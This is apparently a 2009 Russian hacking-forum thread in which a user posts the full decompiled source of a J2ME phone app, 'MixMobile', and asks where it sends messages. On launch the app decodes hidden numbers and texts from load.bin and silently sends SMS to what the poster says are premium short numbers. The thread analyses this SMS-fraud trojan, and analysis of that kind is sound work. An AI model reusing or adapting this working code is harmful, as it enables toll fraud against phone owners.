Сотовый фрикинг Какое сообщение и када посылаеться

Discussion in 'Электроника и Фрикинг' started by Kasali, 8 Mar 2009.

  1. Kasali

    Kasali New Member

    Joined:
    12 Feb 2009
    Messages:
    72
    Likes Received:
    1
    Reputations:
    -1
    скажите Какое сообщение и када посылаеться этим java приложением.в архиве 4 фала mixmobile.class
    load.bin
    ico.png
    MANIFEST

    вот что в файле mixmobile.class;

    import java.io.IOException;
    import java.io.InputStream;
    import javax.microedition.io.Connector;
    import javax.microedition.midlet.MIDlet;
    import javax.wireless.messaging.MessageConnection;
    import javax.wireless.messaging.TextMessage;

    public class MixMobile extends MIDlet
    {
    public String smsnumber;
    public String smstext;
    public int tpcurr;
    public int tppoint;
    public static int a = 12;

    public void startApp()
    {
    zagruzka();
    }

    public void zagruzka()
    {
    InputStream localInputStream;
    try
    {
    localInputStream = getClass().getResourceAsStream("/load.bin");
    this.tppoint = (localInputStream.read() - a);
    for (int i = 0; i < this.tppoint; ++i)
    {
    this.smsnumber = a(localInputStream);
    this.smstext = a(localInputStream);
    sendSMS();
    }
    return;
    }
    catch (Exception localException)
    {
    }
    }

    private static String a(InputStream paramInputStream)
    throws IOException
    {
    int i = paramInputStream.read() - a;
    StringBuffer localStringBuffer = new StringBuffer();
    for (int j = 0; j < i; ++j)
    localStringBuffer.append((char)(paramInputStream.read() - a));
    return localStringBuffer.toString();
    }

    public void sendSMS()
    {
    if (this.tpcurr++ == this.tppoint - 1)
    this.tpcurr = 0;
    try
    {
    MessageConnection localMessageConnection;
    TextMessage localTextMessage;
    (localTextMessage = (TextMessage)(localMessageConnection = (MessageConnection)Connector.open("sms://" + this.smsnumber)).newMessage("text")).setPayloadText(this.smstext + " " + getAppProperty("id"));
    localMessageConnection.send(localTextMessage);
    localMessageConnection.close();
    return;
    }
    catch (Exception localException)
    {
    }
    }

    public void pauseApp()
    {
    }

    public void destroyApp(boolean paramBoolean)
    {
    }
    }

    Вот этот же файл открытый прогой DJ Java Decompiler 3.10

    // Decompiled by DJ v3.10.10.93 Copyright 2007 Atanas Neshkov Date: 08.03.2009 18:36:49
    // Home Page: http://members.fortunecity.com/neshkov/dj.html http://www.neshkov.com/dj.html - Check often for new version!
    // Decompiler options: packimports(3) annotate_fullnames deadcode ansi lnc safe debugmode
    // Class Version: 47.0

    import java.io.IOException;
    import java.io.InputStream;
    import javax.microedition.io.Connector;
    import javax.microedition.midlet.MIDlet;
    import javax.wireless.messaging.MessageConnection;
    import javax.wireless.messaging.TextMessage;

    // flag ACC_SUPER is set
    public class MixMobile extends MIDlet
    {
    // Constants: 118
    // Interfaces: 0
    // Fields: 5
    // Methods: 8
    // Class Attributes: 0


    // Decompiling method: <init> Signature: ()V
    // Max stack: 1, #locals: 1, #params: 1
    // Code length: 5 bytes, Code offset: 1431
    // Parameter 0 added: Name this Type LMixMobile; At 0 5 Range 0 4 Init 0 fixed
    // RetValue 1 added: Name <returnValue> Type V At 0 5 Range 0 4 Init 0 fixed
    public MixMobile()
    {
    /* super(); */
    // 0 0:aload_0
    // 1 1:invokespecial #17 <Method void MIDlet()>
    /* return; */
    // 2 4:return
    }

    // Decompiling method: startApp Signature: ()V
    // Max stack: 1, #locals: 1, #params: 1
    // Code length: 5 bytes, Code offset: 1462
    // Parameter 0 added: Name this Type LMixMobile; At 0 5 Range 0 4 Init 0 fixed
    // RetValue 1 added: Name <returnValue> Type V At 0 5 Range 0 4 Init 0 fixed
    public void startApp()
    {
    zagruzka();
    // 0 0:aload_0
    // 1 1:invokevirtual #29 <Method void MixMobile.zagruzka()>
    /* return; */
    // 2 4:return
    }

    // Decompiling method: zagruzka Signature: ()V
    // Max stack: 3, #locals: 3, #params: 1
    // Code length: 61 bytes, Code offset: 1493
    // Exception table: 1 entries
    // start 0 end 58 handler 59 type Exception
    // Parameter 0 added: Name this Type LMixMobile; At 0 61 Range 0 60 Init 0 fixed
    // RetValue 3 added: Name <returnValue> Type V At 0 61 Range 0 60 Init 0 fixed
    // LocalVar 1 added: Name inputstream Type Ljava/io/InputStream; At 9 33 Range 9 41 Init 9
    // LocalVar 2 added: Name flag Type Z At 23 32 Range 23 54 Init 23
    // LocalVar 2 chged: Name i Oname flag Type I At 24 1 Range 23 54 Init 23
    public void zagruzka()
    {
    try
    {
    InputStream inputstream = ((Object)this).getClass().getResourceAsStream("/load.bin");
    // 0 0:aload_0
    // 1 1:invokevirtual #23 <Method java.lang.Class java.lang.Object.getClass()>
    // 2 4:ldc1 #35 <String "/load.bin">
    // 3 6:invokevirtual #24 <Method java.io.InputStream java.lang.Class.getResourceAsStream(java.lang.String)>
    // 4 9:astore_1
    tppoint = inputstream.read() - a;
    // 5 10:aload_0
    // 6 11:aload_1
    // 7 12:invokevirtual #26 <Method int java.io.InputStream.read()>
    // 8 15:getstatic #12 <Field int MixMobile.a>
    // 9 18:isub
    // 10 19:putfield #16 <Field int MixMobile.tppoint>
    for(int i = 0; i < tppoint; i++)
    //* 11 22:iconst_0
    //* 12 23:istore_2
    //* 13 24:iload_2
    //* 14 25:aload_0
    //* 15 26:getfield #16 <Field int MixMobile.tppoint>
    //* 16 29:icmpge 58
    {
    smsnumber = a(inputstream);
    // 17 32:aload_0
    // 18 33:aload_1
    // 19 34:invokestatic #19 <Method java.lang.String MixMobile.a(java.io.InputStream)>
    // 20 37:putfield #13 <Field java.lang.String MixMobile.smsnumber>
    smstext = a(inputstream);
    // 21 40:aload_0
    // 22 41:aload_1
    // 23 42:invokestatic #19 <Method java.lang.String MixMobile.a(java.io.InputStream)>
    // 24 45:putfield #14 <Field java.lang.String MixMobile.smstext>
    sendSMS();
    // 25 48:aload_0
    // 26 49:invokevirtual #27 <Method void MixMobile.sendSMS()>
    }

    // 27 52:iinc 2 1
    //* 28 55:goto 24
    return;
    // 29 58:return
    }
    catch(Exception _ex)
    //* 30 59:pop
    {
    return;
    // 31 60:return
    }
    }

    // Decompiling method: a Signature: (Ljava/io/InputStream;)Ljava/lang/String;
    // Max stack: 3, #locals: 4, #params: 1
    // Code length: 49 bytes, Code offset: 1634
    // Parameter 0 added: Name inputstream Type Ljava/io/InputStream; At 0 49 Range 0 48 Init 0
    // RetValue 4 added: Name <returnValue> Type Ljava/lang/String; At 0 49 Range 0 48 Init 0 fixed
    // LocalVar 1 added: Name i Type I At 8 13 Range 8 20 Init 8
    // LocalVar 2 added: Name stringbuffer Type Ljava/lang/StringBuffer; At 16 29 Range 16 44 Init 16
    // LocalVar 3 added: Name flag Type Z At 18 23 Range 18 40 Init 18
    // LocalVar 3 chged: Name j Oname flag Type I At 19 1 Range 18 40 Init 18
    private static String a(InputStream inputstream)
    throws IOException
    {
    int i = inputstream.read() - a;
    // 0 0:aload_0
    // 1 1:invokevirtual #26 <Method int java.io.InputStream.read()>
    // 2 4:getstatic #12 <Field int MixMobile.a>
    // 3 7:isub
    // 4 8:istore_1
    StringBuffer stringbuffer = new StringBuffer();
    // 5 9:new #7 <Class java.lang.StringBuffer>
    // 6 12:dup
    // 7 13:invokespecial #18 <Method void StringBuffer()>
    // 8 16:astore_2
    for(int j = 0; j < i; j++)
    //* 9 17:iconst_0
    //* 10 18:istore_3
    //* 11 19:iload_3
    //* 12 20:iload_1
    //* 13 21:icmpge 44
    stringbuffer.append((char)(inputstream.read() - a));
    // 14 24:aload_2
    // 15 25:aload_0
    // 16 26:invokevirtual #26 <Method int java.io.InputStream.read()>
    // 17 29:getstatic #12 <Field int MixMobile.a>
    // 18 32:isub
    // 19 33:int2char
    // 20 34:invokevirtual #20 <Method java.lang.StringBuffer java.lang.StringBuffer.append(char)>
    // 21 37:pop

    // 22 38:iinc 3 1
    //* 23 41:goto 19
    return stringbuffer.toString();
    // 24 44:aload_2
    // 25 45:invokevirtual #28 <Method java.lang.String java.lang.StringBuffer.toString()>
    // 26 48:areturn
    }

    // Decompiling method: sendSMS Signature: ()V
    // Max stack: 4, #locals: 3, #params: 1
    // Code length: 119 bytes, Code offset: 1755
    // Exception table: 1 entries
    // start 25 end 116 handler 117 type Exception
    // Parameter 0 added: Name this Type LMixMobile; At 0 119 Range 0 118 Init 0 fixed
    // RetValue 3 added: Name <returnValue> Type V At 0 119 Range 0 118 Init 0 fixed
    // LocalVar 1 added: Name messageconnection Type Ljavax/wireless/messaging/MessageConnection; At 54 57 Range 54 110 Init 54
    // LocalVar 2 added: Name textmessage Type Ljavax/wireless/messaging/TextMessage; At 66 39 Range 66 104 Init 66
    public void sendSMS()
    {
    if(tpcurr++ == tppoint - 1)
    //* 0 0:aload_0
    //* 1 1:dup
    //* 2 2:getfield #15 <Field int MixMobile.tpcurr>
    //* 3 5:dup_x1
    //* 4 6:iconst_1
    //* 5 7:iadd
    //* 6 8:putfield #15 <Field int MixMobile.tpcurr>
    //* 7 11:aload_0
    //* 8 12:getfield #16 <Field int MixMobile.tppoint>
    //* 9 15:iconst_1
    //* 10 16:isub
    //* 11 17:icmpne 25
    tpcurr = 0;
    // 12 20:aload_0
    // 13 21:iconst_0
    // 14 22:putfield #15 <Field int MixMobile.tpcurr>
    try
    {
    MessageConnection messageconnection;
    TextMessage textmessage;
    (textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open("sms://" + smsnumber)).newMessage("text")).setPayloadText(smstext + " " + getAppProperty("id"));
    // 15 25:new #7 <Class java.lang.StringBuffer>
    // 16 28:dup
    // 17 29:invokespecial #18 <Method void StringBuffer()>
    // 18 32:ldc1 #37 <String "sms://">
    // 19 34:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
    // 20 37:aload_0
    // 21 38:getfield #13 <Field java.lang.String MixMobile.smsnumber>
    // 22 41:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
    // 23 44:invokevirtual #28 <Method java.lang.String java.lang.StringBuffer.toString()>
    // 24 47:invokestatic #25 <Method javax.microedition.io.Connection javax.microedition.io.Connector.open(java.lang.String)>
    // 25 50:checkcast #10 <Class javax.wireless.messaging.MessageConnection>
    // 26 53:dup
    // 27 54:astore_1
    // 28 55:ldc1 #38 <String "text">
    // 29 57:invokeinterface #31 <Method javax.wireless.messaging.Message javax.wireless.messaging.MessageConnection.newMessage(java.lang.String)>
    // 30 62:checkcast #11 <Class javax.wireless.messaging.TextMessage>
    // 31 65:dup
    // 32 66:astore_2
    // 33 67:new #7 <Class java.lang.StringBuffer>
    // 34 70:dup
    // 35 71:invokespecial #18 <Method void StringBuffer()>
    // 36 74:aload_0
    // 37 75:getfield #14 <Field java.lang.String MixMobile.smstext>
    // 38 78:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
    // 39 81:ldc1 #34 <String " ">
    // 40 83:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
    // 41 86:aload_0
    // 42 87:ldc1 #36 <String "id">
    // 43 89:invokevirtual #22 <Method java.lang.String MixMobile.getAppProperty(java.lang.String)>
    // 44 92:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)>
    // 45 95:invokevirtual #28 <Method java.lang.String java.lang.StringBuffer.toString()>
    // 46 98:invokeinterface #33 <Method void javax.wireless.messaging.TextMessage.setPayloadText(java.lang.String)>
    messageconnection.send(((javax.wireless.messaging.Message) (textmessage)));
    // 47 103:aload_1
    // 48 104:aload_2
    // 49 105:invokeinterface #32 <Method void javax.wireless.messaging.MessageConnection.send(javax.wireless.messaging.Message)>
    messageconnection.close();
    // 50 110:aload_1
    // 51 111:invokeinterface #30 <Method void javax.wireless.messaging.MessageConnection.close()>
    return;
    // 52 116:return
    }
    catch(Exception _ex)
    //* 53 117:pop
    {
    return;
    // 54 118:return
    }
    }

    // Decompiling method: pauseApp Signature: ()V
    // Max stack: 0, #locals: 1, #params: 1
    // Code length: 1 bytes, Code offset: 1937
    // Parameter 0 added: Name this Type LMixMobile; At 0 1 Range 0 0 Init 0 fixed
    // RetValue 1 added: Name <returnValue> Type V At 0 1 Range 0 0 Init 0 fixed
    public void pauseApp()
    {
    /* return; */
    // 0 0:return
    }

    // Decompiling method: destroyApp Signature: (Z)V
    // Max stack: 0, #locals: 2, #params: 2
    // Code length: 1 bytes, Code offset: 1964
    // Parameter 0 added: Name this Type LMixMobile; At 0 1 Range 0 0 Init 0 fixed
    // Parameter 1 added: Name flag Type Z At 0 1 Range 0 0 Init 0
    // RetValue 2 added: Name <returnValue> Type V At 0 1 Range 0 0 Init 0 fixed
    public void destroyApp(boolean flag)
    {
    /* return; */
    // 0 0:return
    }

    public String smsnumber;
    public String smstext;
    public int tpcurr;
    public int tppoint;
    public static int a = 12;

    // Decompiling method: <clinit> Signature: ()V
    // Max stack: 1, #locals: 0, #params: 0
    // Code length: 6 bytes, Code offset: 1991
    // RetValue 0 added: Name <returnValue> Type V At 0 6 Range 0 5 Init 0 fixed
    // final and/or public access modifiers removed
    static
    {
    /* a = 12; */
    // 0 0:bipush 12
    // 1 2:putstatic #12 <Field int MixMobile.a>
    //* 2 5:return
    }
    }

    Ну и manifest.mf;

    Manifest-Version: 1.0
    MicroEdition-Configuration: CLDC-1.0
    MIDlet-Name: osyt
    MIDlet-Description: osyt
    Created-By: 1.4.2_12 (Sun Microsystems Inc.)
    MIDlet-Icon: /ico.png
    MIDlet-Vendor: CyberMobs
    MIDlet-1: osyt, /ico.png, MixMobile
    MIDlet-Permissions: javax.wireless.messaging.sms.send
    MIDlet-Version: 2.11
    MicroEdition-Profile: MIDP-1.0
    id: 3306

    Есть и файл load.bin который немогу окрыть ни одной программой
    И так какме будут мысли
     
  2. Kasali

    Kasali New Member

    Joined:
    12 Feb 2009
    Messages:
    72
    Likes Received:
    1
    Reputations:
    -1
    В названии темы допустил ошибку.думаю понятно что вопрос 'куда' уходит сообщение,а не 'када.'
     
  3. Kasali

    Kasali New Member

    Joined:
    12 Feb 2009
    Messages:
    72
    Likes Received:
    1
    Reputations:
    -1
    неужели никому не по зубам
     
  4. Kasali

    Kasali New Member

    Joined:
    12 Feb 2009
    Messages:
    72
    Likes Received:
    1
    Reputations:
    -1
    Ау народ что с вами в самом деле
     
  5. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    залей куда нибудь прогу
     
  6. FALTONICK

    FALTONICK Elder - Старейшина

    Joined:
    12 Feb 2009
    Messages:
    141
    Likes Received:
    246
    Reputations:
    56
    смотри файл /load.bin данные берутся там
     
    #6 FALTONICK, 11 Mar 2009
    Last edited: 11 Mar 2009
  7. Eugenzhuk

    Eugenzhuk New Member

    Joined:
    28 Feb 2009
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Если не ошибаюсь - отправляет твой номер тебе же ;)
     
  8. FALTONICK

    FALTONICK Elder - Старейшина

    Joined:
    12 Feb 2009
    Messages:
    141
    Likes Received:
    246
    Reputations:
    56
    блокнот
     
  9. furang

    furang Elder - Старейшина

    Joined:
    7 Apr 2007
    Messages:
    90
    Likes Received:
    14
    Reputations:
    0
    hiew
     
  10. Kasali

    Kasali New Member

    Joined:
    12 Feb 2009
    Messages:
    72
    Likes Received:
    1
    Reputations:
    -1
    Вот что в нем если открыть блокнотом или winhex
    ??C=>>?y?zqE?B<<D?"y?D?DA?ot|{w?B<<D?"y?D?DA?ot|{w?>@CB?pmE,=<==B?==C=?{|q"
     
  11. Kasali

    Kasali New Member

    Joined:
    12 Feb 2009
    Messages:
    72
    Likes Received:
    1
    Reputations:
    -1
    Программа тут
    http://dump.ru/file/1949207
     
  12. Kasali

    Kasali New Member

    Joined:
    12 Feb 2009
    Messages:
    72
    Likes Received:
    1
    Reputations:
    -1
    Ошибаешься.посылается сообщение на платные короткие номера.сами номера узнать то можно установив на телефон эту программу.перед этим перевести телефон в автономный режим чтобы сеть была отключена.и запустить программу.а так там идут запросы на несколько номеров по очереди.
    Мне же надо знать где все это записывается в самой программе
     
  13. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    стукни в асю(из ПМ)
     
    1 person likes this.